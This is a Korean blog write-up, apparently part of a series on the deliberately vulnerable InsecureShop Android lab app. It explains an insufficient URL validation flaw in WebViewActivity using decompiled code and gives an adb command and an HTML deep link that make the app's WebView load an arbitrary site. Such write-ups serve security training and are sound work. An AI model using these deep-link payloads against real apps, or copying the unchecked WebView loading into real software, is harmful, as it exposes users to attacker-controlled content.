-
[InsecureShop] Insufficient URL ValidationAndroid/InsecureShop 2025. 4. 1. 16:00
불충분한 URL 검증
<activity android:name="com.insecureshop.WebViewActivity"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="insecureshop" android:host="com.insecureshop"/> </intent-filter>
먼저 AndroidManifest.xml을 보면 insecureshop://com.insecureshop 형태의 scheme을 사용하는 것을 확인할 수 있습니다.
다음으로 URL 처리 부분을 확인하기 위해 WebViewActivity를 보겠습니다.
WebViewActivity
Uri uri = intent.getData(); if (uri != null) { String data = (String) null; if (!StringsKt.equals$default(uri.getPath(), "/web", false, 2, null)) { if (StringsKt.equals$default(uri.getPath(), "/webview", false, 2, null)) { Intent intent2 = getIntent(); Intrinsics.checkExpressionValueIsNotNull(intent2, "intent"); Uri data2 = intent2.getData(); if (data2 == null) { Intrinsics.throwNpe(); } String queryParameter = data2.getQueryParameter("url"); if (queryParameter == null) { Intrinsics.throwNpe(); } Intrinsics.checkExpressionValueIsNotNull(queryParameter, "intent.data!!.getQueryParameter(\"url\")!!"); if (StringsKt.endsWith$default(queryParameter, "insecureshopapp.com", false, 2, (Object) null)) { Intent intent3 = getIntent(); Intrinsics.checkExpressionValueIsNotNull(intent3, "intent"); Uri data3 = intent3.getData(); data = data3 != null ? data3.getQueryParameter("url") : null; } } } else { Intent intent4 = getIntent(); Intrinsics.checkExpressionValueIsNotNull(intent4, "intent"); Uri data4 = intent4.getData(); data = data4 != null ? data4.getQueryParameter("url") : null; } if (data == null) { finish(); } webview.loadUrl(data); Prefs.INSTANCE.getInstance(this).setData(data); }
uri의 path가 /web이면 url을 parameter로 받아서 검증없이 해당 url을 로드합니다.
원격 사용자가 딥링크 또는 인텐트를 전달하여 웹뷰에서 임의의 콘텐츠를 로드할 수 있습니다.
adb shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://naver.com"
<a href='insecureshop://com.insecureshop/web?url=https://naver.com'>insecureshop</a></h1>
adb를 통해 intent를 전달하거나 해당 링크를 클릭하게 되면 해당 앱을 통해 naver를 로드하게 됩니다.
'Android > InsecureShop' 카테고리의 다른 글
[InsecureShop] Intent Redirection (Access to Protected Components) (2) 2025.04.01 [InsecureShop] Arbitrary Code Execution (0) 2025.04.01 [InsecureShop] Weak Host Validation (0) 2025.04.01 [InsecureShop] Hardcoded Credentials (0) 2025.04.01 [InsecureShop] 시작하기 (0) 2025.03.30